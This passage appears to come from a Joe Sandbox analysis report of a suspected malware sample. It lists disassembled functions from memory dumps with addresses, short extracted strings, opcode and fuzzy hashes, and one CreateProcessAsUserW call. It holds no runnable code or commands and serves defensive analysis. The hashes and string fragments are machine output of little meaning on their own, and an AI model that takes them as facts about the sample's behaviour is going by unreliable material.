:WAv, xrefs: 07B45D51
EDZ=, xrefs: 07B45DF1
Q[vt, xrefs: 07B45D1F
:WAv, xrefs: 07B4595F
EDZ=, xrefs: 07B45A42
Q[vt, xrefs: 07B4593C

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID: :WAv$:WAv$EDZ=$EDZ=$Q[vt$Q[vt
API String ID: 0-1200865633
Opcode ID: 206497dcf16330c3284056b41927789909f86ccad3c77e316261a12468931aee
Instruction ID: 75d15affd1b50edf54f080ef6f2cec29e916dee1ea82fc0c2fed009f29684f46
Opcode Fuzzy Hash: 206497dcf16330c3284056b41927789909f86ccad3c77e316261a12468931aee
Instruction Fuzzy Hash: CDF1AAB5A453298FDB24CF65CD813DDBAB2BB85300F5192E9C459AF318DB744A828F84

Function 07B44EC8 Relevance: 6.7, Strings: 5, Instructions: 475COMMON

Download Yara Rule

Strings

<`*, xrefs: 07B44F59
X!F, xrefs: 07B4507F
ji-, xrefs: 07B45692
/VX^, xrefs: 07B45658
2ip, xrefs: 07B44FDF

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID: /VX^$2ip$<`*$X!F$ji-
API String ID: 0-1762503863
Opcode ID: 59454cead0e03873429cd4d4305621d5e71c6edd0ff26ac11e7c2c1ece1f0e73
Instruction ID: 269de4e33ee03674e51bb4d0a6d4321494fa18bad3c176bd6f3f505d3f83173c
Opcode Fuzzy Hash: 59454cead0e03873429cd4d4305621d5e71c6edd0ff26ac11e7c2c1ece1f0e73
Instruction Fuzzy Hash: 0322CEB6D412298FDB68CF69CD517DDBAB2BB89300F5591D9C40EAB354DB348E818F80

Function 07B44EBB Relevance: 6.7, Strings: 5, Instructions: 473COMMON

Download Yara Rule

Strings

<`*, xrefs: 07B44F59
X!F, xrefs: 07B4507F
ji-, xrefs: 07B45692
/VX^, xrefs: 07B45658
2ip, xrefs: 07B44FDF

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID: /VX^$2ip$<`*$X!F$ji-
API String ID: 0-1762503863
Opcode ID: b122366c15d1da3189476edeaa4f784f054816f19eb221cc15d87d587bfadff8
Instruction ID: fcf8e5ad894d3a14256e305eb0afc14e8bdb010112addea492cda2a7a1e7dbd3
Opcode Fuzzy Hash: b122366c15d1da3189476edeaa4f784f054816f19eb221cc15d87d587bfadff8
Instruction Fuzzy Hash: C822CFB6D412298FDB68CF65CE517DDBAB2AB89300F5591D9C40EEB354DB348E818F80

Function 07B4576C Relevance: 6.7, Strings: 5, Instructions: 460COMMON

Download Yara Rule

Strings

<`*, xrefs: 07B44F59
X!F, xrefs: 07B4507F
ji-, xrefs: 07B45692
/VX^, xrefs: 07B45658
2ip, xrefs: 07B44FDF

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID: /VX^$2ip$<`*$X!F$ji-
API String ID: 0-1762503863
Opcode ID: 41fe3c7bb782b8798dfbfa58ec605c362727c7073eff2e38640ac688f6282ee2
Instruction ID: dfb4712a83bb5fad683594cc218c41cd22693c5adf480d32085e829d574911b1
Opcode Fuzzy Hash: 41fe3c7bb782b8798dfbfa58ec605c362727c7073eff2e38640ac688f6282ee2
Instruction Fuzzy Hash: BE22CFB6D412298FDB28CF65CE517DDBAB2BB89300F5596D9C40EAB354DB348E818F40

Function 05FDBAF0 Relevance: 5.3, Strings: 4, Instructions: 251COMMON

Download Yara Rule

Strings

aQA4, xrefs: 05FDBC69
Gc f, xrefs: 05FDBB63
bzep, xrefs: 05FDBB4E
`\`F, xrefs: 05FDBCEA

Memory Dump Source

Source File: 00000000.00000002.2846472910.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_random.jbxd

Similarity

API ID:
String ID: Gc f$`\`F$aQA4$bzep
API String ID: 0-3268002602
Opcode ID: 96b7b9c09a2df33de2a2534bffb358c94378bf8f501fc048b567a0b768c424df
Instruction ID: 10b73a33e26971790a10d8cd0499911fac1000c8ed30d6764815e0789820150f
Opcode Fuzzy Hash: 96b7b9c09a2df33de2a2534bffb358c94378bf8f501fc048b567a0b768c424df
Instruction Fuzzy Hash: B5B139B2E413288BDB58CFA5CD4139EBA73ABC5210F55D6698509FF358D7348D418F80

Function 0C38E900 Relevance: 4.0, Strings: 3, Instructions: 224COMMON

Download Yara Rule

Strings

yJ9v, xrefs: 0C38E995
vN5, xrefs: 0C38ECFB
vN5, xrefs: 0C38ED0B

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID: vN5$vN5$yJ9v
API String ID: 0-3687585033
Opcode ID: e2297334ded192d666fbc2941df6bf67beae57bdf752eacaf96ce1030da62b4f
Instruction ID: 859243785a2555b32d0ab8b6cbf69efa4d6302c380294ba0841f3a819addb51e
Opcode Fuzzy Hash: e2297334ded192d666fbc2941df6bf67beae57bdf752eacaf96ce1030da62b4f
Instruction Fuzzy Hash: 85A1F3B5E1131ACFCB64CFA5CD8139DBAB5BB45210F14919AD00AFF354E7748A868F81

Function 08061E20 Relevance: 3.9, Strings: 3, Instructions: 142COMMON

Download Yara Rule

Strings

fax, xrefs: 08061EE9
rspO, xrefs: 08061F58
/Pkp, xrefs: 08061E40

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID: /Pkp$fax$rspO
API String ID: 0-350999325
Opcode ID: f7a73ba8e92b78cbcb2622574b6d70e39b96a46d6338a7c6ae7c39d1f50d521d
Instruction ID: 2f64800c9b1c98e0fdd3a6273dc21ca00989e6894c967de2a680da554cafcc0c
Opcode Fuzzy Hash: f7a73ba8e92b78cbcb2622574b6d70e39b96a46d6338a7c6ae7c39d1f50d521d
Instruction Fuzzy Hash: 365137B2D4021E8BCB04CFE5D94259FFBB7BB86210F91961AD406EF358D77899168B80

Function 07B49490 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

8K6;, xrefs: 07B49628
T2D8, xrefs: 07B49546
8K6;, xrefs: 07B49621

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID: 8K6;$8K6;$T2D8
API String ID: 0-174012540
Opcode ID: ca50aebf1a394699d1d0931f1b70e5fef801e4f5429551e69439ad7970705268
Instruction ID: 0b4aa571b6c122452114ac75a005ca2c90b24cfc893291a145d9fe0343ea8cd8
Opcode Fuzzy Hash: ca50aebf1a394699d1d0931f1b70e5fef801e4f5429551e69439ad7970705268
Instruction Fuzzy Hash: 045126B0E042198FDB08CFA9D5416AEFBF2FF89300F24D06AD419B7255D734AA41CB64

Function 07AD49A0 Relevance: 3.9, Strings: 3, Instructions: 139COMMON

Download Yara Rule

Strings

8K6;, xrefs: 07AD4B31
8K6;, xrefs: 07AD4B38
T2D8, xrefs: 07AD4A56

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID: 8K6;$8K6;$T2D8
API String ID: 0-174012540
Opcode ID: a5ed364daf0daae07a084e324a7855cc8b59b12bf8f227572e9b4fd15bfe39c6
Instruction ID: 579c6fcb5a1a1f4e85be6da740398ac9176b702c5507882197a6431ba147a6f6
Opcode Fuzzy Hash: a5ed364daf0daae07a084e324a7855cc8b59b12bf8f227572e9b4fd15bfe39c6
Instruction Fuzzy Hash: 4E513AB0E042598FDB08CFA9C5416AEFBF2FFC9301F14D16AD82AA7265D7349941CB54

Function 05FDA53E Relevance: 2.9, Strings: 2, Instructions: 376COMMON

Download Yara Rule

Strings

APX, xrefs: 05FDB53B
XA, xrefs: 05FDB0D6

Memory Dump Source

Source File: 00000000.00000002.2846472910.0000000005FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_random.jbxd

Similarity

API ID:
String ID: APX$XA
API String ID: 0-4186600480
Opcode ID: 8a6b1e2a610baca5515c3502a44f54147d5708ee99b730aba82e37397607c0d2
Instruction ID: c8fb994121993ce96e8603b9cb25255aa8f377af1c69970ae4197e0605aaa958
Opcode Fuzzy Hash: 8a6b1e2a610baca5515c3502a44f54147d5708ee99b730aba82e37397607c0d2
Instruction Fuzzy Hash: AA1232B0E116298FCB64DF68CD8479EBBB2BB84201F4082D9C50DAB354DB359E95CF44

Function 0C38EDA5 Relevance: 2.9, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

yJ9v, xrefs: 0C38E995
vN5, xrefs: 0C38ED0B

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID: vN5$yJ9v
API String ID: 0-3385662679
Opcode ID: 9d9e632008ad74cac0bb5b095cb081657bafd36e5e911eccb4443bcd36f6840c
Instruction ID: 200fd5f70fd1aeb82b424a71e497c20b21a19d291bc4615bbef501830ea8e0b1
Opcode Fuzzy Hash: 9d9e632008ad74cac0bb5b095cb081657bafd36e5e911eccb4443bcd36f6840c
Instruction Fuzzy Hash: AFE1E2B5E103198FCB54DFB9CD8179DBBB6BB84200F14C5A9C40AEB359DB7899868F40

Function 0BAAEFE8 Relevance: 2.8, Strings: 2, Instructions: 313COMMON

Download Yara Rule

Strings

F6, xrefs: 0BAAF1AF
Fjn6, xrefs: 0BAAF002

Memory Dump Source

Source File: 00000000.00000002.2856272275.000000000BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_baa0000_random.jbxd

Similarity

API ID:
String ID: Fjn6$F6
API String ID: 0-154666695
Opcode ID: 47aedccfed85a47c7a41bef4ccdf964452419536737af66ac9959d79f9965de0
Instruction ID: aaac1e6b3127f9d5814b2b25d8cdfc936b640513d4c8544cde7a4da8f9e4cc13
Opcode Fuzzy Hash: 47aedccfed85a47c7a41bef4ccdf964452419536737af66ac9959d79f9965de0
Instruction Fuzzy Hash: F5D125B5E4521A8FDB58CFA5CD527ADBAB6BB44300F149299C10AFF754DB348E428F80

Function 07AD406F Relevance: 2.8, Strings: 2, Instructions: 298COMMON

Download Yara Rule

Strings

Tejq, xrefs: 07AD4191
Tejq, xrefs: 07AD436D

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID: Tejq$Tejq
API String ID: 0-942063033
Opcode ID: 33fdc007e775a5000773664b5d32346259b45c3a9031ce2ca98e6bc4832e23f5
Instruction ID: ea9594adff87fe1b015693e337ec42e84104009f53359633fddee191f4dcc4aa
Opcode Fuzzy Hash: 33fdc007e775a5000773664b5d32346259b45c3a9031ce2ca98e6bc4832e23f5
Instruction Fuzzy Hash: 6AB159B5E106498FCB04CFA9D8846DEFBF2FF8A311F24812AD816AB255D7305945CF52

Function 07B48B60 Relevance: 2.7, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

Tejq, xrefs: 07B48E5D
Tejq, xrefs: 07B48C81

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID: Tejq$Tejq
API String ID: 0-942063033
Opcode ID: 90ee4d4f69f8ae5c5509b586ea3527ad139be9bc31e3d3d4fb02b87edbca1a89
Instruction ID: fa1b1864eeca04ed402b747f98519adcb99aedc6637b0d37d86b04e95b8cad47
Opcode Fuzzy Hash: 90ee4d4f69f8ae5c5509b586ea3527ad139be9bc31e3d3d4fb02b87edbca1a89
Instruction Fuzzy Hash: 7AB139B4E14249CFDB18CFA9C984AAEFBF2FF89300F14816AD819AB255D7345942CF54

Function 0C38ED86 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

yJ9v, xrefs: 0C38E995
vN5, xrefs: 0C38ED0B

Memory Dump Source

Source File: 00000000.00000002.2856522436.000000000C370000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c370000_random.jbxd

Similarity

API ID:
String ID: vN5$yJ9v
API String ID: 0-3385662679
Opcode ID: 20c8ae4d96438b26d2ac046ce2b91c2343d66d081166ac593ec64251b45cc22d
Instruction ID: a3413540a355373cd79d93239bcd5b576e2812e5e1c08bd1a5b936fb0bebed72
Opcode Fuzzy Hash: 20c8ae4d96438b26d2ac046ce2b91c2343d66d081166ac593ec64251b45cc22d
Instruction Fuzzy Hash: D6A1F2B5E5131ACFCB64CFA5CD8139DBAB5BB84210F14919AC00AFF354E7788A868F41

Function 07AD4128 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

Tejq, xrefs: 07AD4191
Tejq, xrefs: 07AD436D

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID: Tejq$Tejq
API String ID: 0-942063033
Opcode ID: 403cd58390d9a8f020f1007bdb0813c07bab666c5cd91dc50610b822dd9b7902
Instruction ID: 7fe33ecb6600eed76c7c90ce55c1f355942f4ab7f422f0d4132af81a97482b7b
Opcode Fuzzy Hash: 403cd58390d9a8f020f1007bdb0813c07bab666c5cd91dc50610b822dd9b7902
Instruction Fuzzy Hash: 3091D3B4E102498FDB08CFAAC98459EFBB2FF99310F24812AD91ABB354D7349905CF55

Function 07B48C18 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

Tejq, xrefs: 07B48E5D
Tejq, xrefs: 07B48C81

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID: Tejq$Tejq
API String ID: 0-942063033
Opcode ID: fb87bb984442a1f0e537db8cac611c77d54f9fb3cbcd33ff079a436fec05b161
Instruction ID: 0c5a54dc37ab017f1fdf9da534108f0bfa08c270a89fb6eb73644022e067f2b7
Opcode Fuzzy Hash: fb87bb984442a1f0e537db8cac611c77d54f9fb3cbcd33ff079a436fec05b161
Instruction Fuzzy Hash: 6A91C3B4E112098FDB08CFAAC984A9EFBB2FF89310F24942AD519BB354D7349945CF54

Function 07B40DD0 Relevance: 2.7, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

PHjq, xrefs: 07B41012
PHjq, xrefs: 07B41052

Memory Dump Source

Source File: 00000000.00000002.2851986274.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b40000_random.jbxd

Similarity

API ID:
String ID: PHjq$PHjq
API String ID: 0-3092175318
Opcode ID: e85786b15e09ab20cfdcd3b8a686265825f959809c257009d2c2e870be454742
Instruction ID: 4a12603761378977df90e4691a73a9c425496431b9a2c2ca37e1d2b4c83a92c9
Opcode Fuzzy Hash: e85786b15e09ab20cfdcd3b8a686265825f959809c257009d2c2e870be454742
Instruction Fuzzy Hash: 168122B0E1424CCFDB04DFA9D5896ADBBB6FF89300F20906AE516AB354DB344845DF18

Function 06092772 Relevance: 2.7, Strings: 2, Instructions: 157COMMON

Download Yara Rule

Strings

v\f, xrefs: 06092860
$jq, xrefs: 06092809

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: $jq$v\f
API String ID: 0-3090538492
Opcode ID: 1ac78f8b3ebde7d81f9003ddaaaa8c415255babdc6a12994e1d3d24efbe6abf9
Instruction ID: dccfdf70f95fcbe75ab14f8d004e70a586772dfe66c4727961c755d5f8b9b553
Opcode Fuzzy Hash: 1ac78f8b3ebde7d81f9003ddaaaa8c415255babdc6a12994e1d3d24efbe6abf9
Instruction Fuzzy Hash: 1461E374E40208DFDB49DFA5D9846AEBBB3FF88300F20846AD906AB394DB745942CF51

Function 06092780 Relevance: 2.7, Strings: 2, Instructions: 157COMMON

Download Yara Rule

Strings

v\f, xrefs: 06092860
$jq, xrefs: 06092809

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: $jq$v\f
API String ID: 0-3090538492
Opcode ID: 31a956871f9aaaa22a5dc9a4eab1943ebee57570e18f75b835a64ba59b452e57
Instruction ID: 67f371de3c83196488b6c36e35425597a869fd86163a564700bf41e09d6924b2
Opcode Fuzzy Hash: 31a956871f9aaaa22a5dc9a4eab1943ebee57570e18f75b835a64ba59b452e57
Instruction Fuzzy Hash: 6B61E474E40218DFCB48DFA5D9846AEBBB3FF88301F20846AD906AB354DB745942CF55

Function 07ADDBE8 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

XrB, xrefs: 07ADDD79
XrB, xrefs: 07ADDD87

Memory Dump Source

Source File: 00000000.00000002.2851603076.0000000007AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ad0000_random.jbxd

Similarity

API ID:
String ID: XrB$XrB
API String ID: 0-1305315338
Opcode ID: 85ddd1efec78527dd93bc081ca1bddf3692cad75dee25ca15be1d59f44545ae4
Instruction ID: 1e40753993c5b5610c3c2a1deee05fbb31fedf495f51f120213ac5168a7afd07
Opcode Fuzzy Hash: 85ddd1efec78527dd93bc081ca1bddf3692cad75dee25ca15be1d59f44545ae4
Instruction Fuzzy Hash: B65139B0E1520EDBCF04CFA6D541AAFFFB5AF8A310F10942AD422B6254D7789A41CF95

Function 060945E8 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

~Ho, xrefs: 06094779
XrB, xrefs: 06094797

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: ~Ho$XrB
API String ID: 0-3901147761
Opcode ID: 1b867be55d9459334cc3f4d6e81a7b2e1ba62ec1f7babff83dd6416dc9d8447d
Instruction ID: 423e4b871ee9e2794cfc0f75fa30f48ecacef002328ab4f20ab4d592e4a53dcd
Opcode Fuzzy Hash: 1b867be55d9459334cc3f4d6e81a7b2e1ba62ec1f7babff83dd6416dc9d8447d
Instruction Fuzzy Hash: CB515AB0D4520ADFDF44CFA6D4415AEFFF2AB89310F24942AD111B7264D7389682CFA5

Function 060945F8 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

XrB, xrefs: 06094797
XrB, xrefs: 06094789

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: XrB$XrB
API String ID: 0-1305315338
Opcode ID: 1ffd5cfb3307964d41752b057087f6e299d71910f567f4dccc2892e8c627a4bb
Instruction ID: a5dba98b4c49de0943725f79a3e1722643d39152ccd7fe3b313e2ee21a7c4130
Opcode Fuzzy Hash: 1ffd5cfb3307964d41752b057087f6e299d71910f567f4dccc2892e8c627a4bb
Instruction Fuzzy Hash: 785158B0D4520ADFDF48CFA6D5415AEFFF2AB89350F20942AD111B7214D7788682CFA5

Function 08061658 Relevance: 1.7, Strings: 1, Instructions: 475COMMON

Download Yara Rule

Strings

oA, xrefs: 08061BE3

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID: oA
API String ID: 0-3454950961
Opcode ID: 7b30a3c8d9141d0359abc5c25880cb707ec91219e5144ec59a2bc4e9b135fcd7
Instruction ID: ed4fbdeb26f045f1cdfb2daf4a9cb2e38c03fd37ae0eec80d4cb3c711e7db5ba
Opcode Fuzzy Hash: 7b30a3c8d9141d0359abc5c25880cb707ec91219e5144ec59a2bc4e9b135fcd7
Instruction Fuzzy Hash: 9F1224B5E152198FCB05CFB8D981A9EFBB6BF85300F14815AD40AEB355CB34AD42CB91

Function 06099040 Relevance: 1.7, APIs: 1, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 060991AB

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 3dc8e3762bbd2dfac19b65efe4229e2d212e64ec630f174a56ca079f32f36c44
Instruction ID: 5eafb8f4d1f14fd00aec83686e8bbf11029223cda37ca958451747a1fd463133
Opcode Fuzzy Hash: 3dc8e3762bbd2dfac19b65efe4229e2d212e64ec630f174a56ca079f32f36c44
Instruction Fuzzy Hash: B251F471900229DFDB65CF99C844BDDBBB6BF48300F0484AAE918B7250DB759A85DFA0

Function 0806D3C7 Relevance: 1.6, Strings: 1, Instructions: 400COMMON

Download Yara Rule

Strings

Ri$, xrefs: 0806D54F

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID: Ri$
API String ID: 0-1521180641
Opcode ID: 49da5463443ce9be6e449a468b5fc17eb1387b69d202487840abdde8355c155a
Instruction ID: e9017ccb7232b47113f5a5c60d586e77f782eee58b445cf22f5cb610db5d83a3
Opcode Fuzzy Hash: 49da5463443ce9be6e449a468b5fc17eb1387b69d202487840abdde8355c155a
Instruction Fuzzy Hash: 2102E2B5E012288BDB64CF65CD917DDBBB2BB85300F458699C549BF318DB349A868F80

Function 0806D3F0 Relevance: 1.6, Strings: 1, Instructions: 386COMMON

Download Yara Rule

Strings

Ri$, xrefs: 0806D54F

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID: Ri$
API String ID: 0-1521180641
Opcode ID: 816d921e0142cb5a77ac82cf29274fccaaa4561d1dc7f31a93ede71c65bf707f
Instruction ID: 386e8ab99b5f5a661652ef75143d6a8f3dcd318dcd0b9841a49609e6b0971c45
Opcode Fuzzy Hash: 816d921e0142cb5a77ac82cf29274fccaaa4561d1dc7f31a93ede71c65bf707f
Instruction Fuzzy Hash: 1202E4B5E012288BDB64CF65CD917DDBAB2BB84310F45D699C509BF318DB349E868F80

Function 026D0C40 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

4'jq, xrefs: 026D0FAB

Memory Dump Source

Source File: 00000000.00000002.2827091074.00000000026D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26d0000_random.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 2243cb9fc7d7992cb0b9111a9425284f6f465b1189e9eacb6baeac65ff5b01bf
Instruction ID: 97e1af1298185a8c0c1505ddb1e425f406d865e8689a6910fb6f2a50c061a1fe
Opcode Fuzzy Hash: 2243cb9fc7d7992cb0b9111a9425284f6f465b1189e9eacb6baeac65ff5b01bf
Instruction Fuzzy Hash: DEC1B974E00218CFDB54DFAAC944BEDBBB2BF89310F2480AAD409AB355DB359985CF51

Function 08061A38 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

oA, xrefs: 08061BE3

Memory Dump Source

Source File: 00000000.00000002.2854852295.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8060000_random.jbxd

Similarity

API ID:
String ID: oA
API String ID: 0-3454950961
Opcode ID: e317b9e7b589b860c5149ac50795ede96574e9fccf7a37800596fd7f25ae9e97
Instruction ID: a7d0a62534b2bbe69d0224adff73df73255c02a4de3cfa57833b2ad3ab5f802b
Opcode Fuzzy Hash: e317b9e7b589b860c5149ac50795ede96574e9fccf7a37800596fd7f25ae9e97
Instruction Fuzzy Hash: 8981C4B5E10319CFDB54CFA5C99169EBBB6BB89300F50856AD10AEF354DB309A41CF81

Function 060977B9 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

ATv, xrefs: 0609781A

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: ATv
API String ID: 0-2543836044
Opcode ID: cf3e96184d13cd56f46bb1bd81c3d114afee5e700bc068aa230a8bfe6567e61d
Instruction ID: cde94d64c74e2ff759af5759a9d8888f25088785bc4e5f784254eeee727ada8a
Opcode Fuzzy Hash: cf3e96184d13cd56f46bb1bd81c3d114afee5e700bc068aa230a8bfe6567e61d
Instruction Fuzzy Hash: E951D0B5E442199FDB48CFAAD94059EFBF2FF88300F10846AD915AB354E7345A42CF50

Function 060977C8 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

ATv, xrefs: 0609781A

Memory Dump Source

Source File: 00000000.00000002.2846922409.0000000006090000.00000040.00000800.00020000.00000000.sdmp, Offset: 06090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6090000_random.jbxd

Similarity

API ID:
String ID: ATv
API String ID: 0-2543836044
Opcode ID: de784dbd4bc6b528f1faa87000d892f18f1689b2b87c44b8386ee14e16f2f4dc
Instruction ID: 2b239a5f8c6b04bee08536f74db766d2e54e448b82b0c7337ebae497d26125fa
Opcode Fuzzy Hash: de784dbd4bc6b528f1faa87000d892f18f1689b2b87c44b8386ee14e16f2f4dc
Instruction Fuzzy Hash: B751D1B5E442199FDB48CFAAD9405DEFBB2FF88300F10846AD915AB354E7345942CF90

Function 0C33FAE0 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

ATv, xrefs: 0C33FB32

Memory Dump Source

Source File: 00000000.00000002.2856383785.000000000C320000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c320000_random.jbxd

Similarity

API ID:
String ID: ATv
API String ID: 0-2543836044
Opcode ID: de461650e496c8673085d776d384e51ec57d11b92efec6b5258462c80f3a1b58
Instruction ID: 6ef0a64d3c4432da321cc2e8ec37f54fda6f505e284883cdf9bb9498d1509ac0
Opcode Fuzzy Hash: de461650e496c8673085d776d384e51ec57d11b92efec6b5258462c80f3a1b58
Instruction Fuzzy Hash: F951C0B4E142199FCB08CFEAD9445AEFBF6FF88310F50916AE815A7754DB3899028F50

Function 07AD2450 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

<, xrefs: 07AD258A

Memory Dump Source

